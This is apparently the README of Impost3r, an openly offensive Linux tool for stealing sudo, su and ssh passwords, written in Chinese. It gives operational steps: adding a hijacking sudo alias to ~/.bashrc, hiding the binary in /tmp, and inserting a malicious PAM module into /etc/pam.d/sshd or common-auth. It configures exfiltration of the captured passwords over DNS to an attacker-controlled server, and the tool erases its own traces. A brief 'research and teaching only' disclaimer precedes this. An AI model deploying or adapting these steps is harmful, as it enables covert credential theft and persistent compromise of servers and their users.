English
Impost3r是利用C語言編寫,用來竊取linux下各類密碼(ssh,su,sudo)的工具
用戶可使用此程式製造水坑,竊取合法用戶的密碼
此工具僅限於安全研究和教學,使用者承擔因使用此工具而導致的所有法律和相關責任! 作者不承擔任何法律和相關責任!
自動擦除行為痕跡
透過DNS協定傳輸結果
使用者無感
gcc
Impost3r可以用來竊取包括sudo、su、ssh服務在內的密碼,這三個服務可大致分為2類,sudo以及ssh/su,以下分兩種情況討論
只需要普通使用者權限即可,不要求一定是root,但只能竊取對應使用者的密碼,不能竊取其他使用者的
首先假設攻擊者控制了一台伺服器,權限為一般使用者權限
檢查用戶根目錄下是否存在.bash_profile
文件,如果.bash_profile
存在:檢查.bash_profile
文件中是否主動加載了.bashrc
,如果主動加載,則跳過此步驟及下兩步檢查,繼續進行之後的操作,如果未主動載入,那麼跳過下兩步驟檢查,且下文中所有針對.bashrc
的操作全部更換為針對.bash_profile
的操作!!! ;如果.bash_profile
不存在:進行下一步檢查。
檢查用戶根目錄下是否存在.bash_login
文件,如果.bash_login
存在:檢查.bash_login
文件中是否主動加載了.bashrc
,如果主動加載,則跳過此步驟及下一步檢查,繼續進行之後的操作,如果未主動載入,那麼跳過下一步檢查,且下文中所有針對.bashrc
的操作全部更換為針對.bash_login
的操作!!! ;如果.bash_login
不存在: 進行下一步檢查。
檢查用戶根目錄下是否存在.profile
文件,如果存在.profile
文件:檢查.profile
文件中是否主動加載了.bashrc
(默認情況下加載),如果主動加載,則跳過此步驟,繼續進行之後的操作,如果未主動載入,那麼下文中所有針對.bashrc
的操作全部更換為針對.profile
的操作!!! ;如果.profile
也不存在,原則上Impost3r將無法使用,當然你也可以視情況自己決定是否生成.bash_profile
或者.profile
文件,並往其中寫入類似如下的加載代碼來加載.bashrc
if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
拷貝一份使用者的.bashrc
: cp ~/.bashrc /tmp/
,並將這份副本放在攻擊者自訂的路徑下(本例中放置在/tmp/目錄下,攻擊者可以修改)
修改用戶根目錄下的.bashrc
(~/.bashrc),在最後一行加入如下語句(其中「/tmp/.impost3r」需要與下面的FILENAME保持一致):
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
新增完成後,儲存檔案並執行source ~/.bashrc
接著攻擊者需要對Impost3r原始碼/sudo/main.h
進行修改:
/* Custom setting */ # define FILENAME "/tmp/.impost3r" 设置Impost3r在目标服务器上的位置 # define BACKUP_ORI_FILENAME ".bashrc" 表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login # define BACKUP_ORI_PATH "/tmp/.bashrc" 表明攻击者所备份的源用户配置文件在目标服务器上的位置 # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 # define RESEND_INTERVAL 5 设置每一次发送密码的间隔 # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
修改完成後,儲存並在目前目錄執行make
在目前目錄下得到編譯完成的.impost3r
文件
上傳(盡量在目標伺服器編譯,防止產生非預期的錯誤) .impost3r
檔案至目標伺服器的/tmp/
資料夾下(僅為範例,可自行修改,只需與原始程式碼中定義相同即可)
攻擊者在自己的伺服器上啟動dns服務端程序,等待合法用戶使用sudo
後取得密碼。
在竊取sudo密碼的情況下,Impost3r在成功後將會自動擦除痕跡,並不需要攻擊者上去手動清理
Impost3r會自動判別使用者輸入的密碼是否為正確密碼,直到使用者輸入正確密碼後才結束流程並擦除痕跡
請在使用Impost3r之前自行使用sudo -v
判斷目前使用者是否在sudoer
群組,如果不在,切勿使用Impost3r
竊取ssh/su密碼與上面sudo密碼的竊取利用方法不同,要求必須是root權限,可以竊取任意使用者密碼
以下以Ubuntu為例,Centos類似,所使用的檔案和修改檔案的方式可能有所不同
首先還是假設攻擊者控制了一台伺服器
透過一頓提權操作獲得了root權限(或者可愛的管理員就是用root權限啟動的服務)
先編輯Impost3r的/ssh_su/main.h
原始碼文件
/* Custom setting */ # define SSH_OR_BOTH 0 设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) # define RESEND_INTERVAL 5 设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
修改完成後,儲存並在目前目錄下執行make
得到編譯好的檔案impost3r.so
將編譯完成的impost3r.so
上傳(盡量在目標伺服器編譯,防止產生非預期的錯誤)至目標機器的/lib/x86_64-linux-gnu/security
下(不同機器可能資料夾名不同,請視情況放置)
進入/etc/pam.d
下,這時分兩種情況,如果選擇的模式是僅偷取ssh密碼,那麼就需要執行vi sshd
,在文件的最後添加如下語句(這裡需要注意,除Ubuntu外其他基於linux的系統的此文件可能相較於Ubuntu存在較大差異,建議自行讀懂規則後再在合適的位置進行添加)
auth optional impost3r.so account optional impost3r.so
儲存並退出,重啟sshd服務service sshd restart
而如果選擇的是ssh和su密碼一起偷取,那麼就需要執行vi common-auth
,加入相同語句,儲存並退出後同樣重啟sshd服務
攻擊者在自己的伺服器上啟動dns服務端程序,等待合法用戶使用ssh
登陸目標機器或使用su
切換用戶後取得密碼。
在竊取ssh/su密碼的情況下,Impost3r因為權限原因無法清除痕跡,需要攻擊者自己清除
請注意,如果設定僅竊取ssh密碼,那麼基本可以保證攻擊者能百分百收到竊取結果,而如果設置兩者同時竊取,則不一定保證攻擊者能百分百收到結果(僅當設置為dns發送的時候,設定為本地保存不受影響)
不建議竊取su密碼,而且因為使用者的ssh密碼與su密碼是相同的,故而能不竊取su密碼就不要竊取,ssh密碼就足矣
預設不竊取空密碼,請自行嘗試使用者是否存在空密碼(檢查一下sshd的設定檔中是否有PermitEmptyPasswords yes
,如果是空,那還竊取個鬼鬼。)
Dns服務端程式我使用的是Fdns,並修改了一部分參數,大家可在資料夾Fdns下找到修改後的原始碼,請自行利用指令gcc -o dns main.c util.c
編譯(注意要先修改main.c中的監聽埠)
在編譯Fdns之前,請查看util.h
中的YOUR_DOMAIN
值,確保此值與被植入伺服器上的Impost3r程式所編譯時使用的YOUR_DOMAIN
值是一致的,不然可能會導致竊取的失敗
此程式僅是閒暇時開發學習,功能可能有bug,請多諒解,也歡迎回饋問題
Fdns
libbaseencode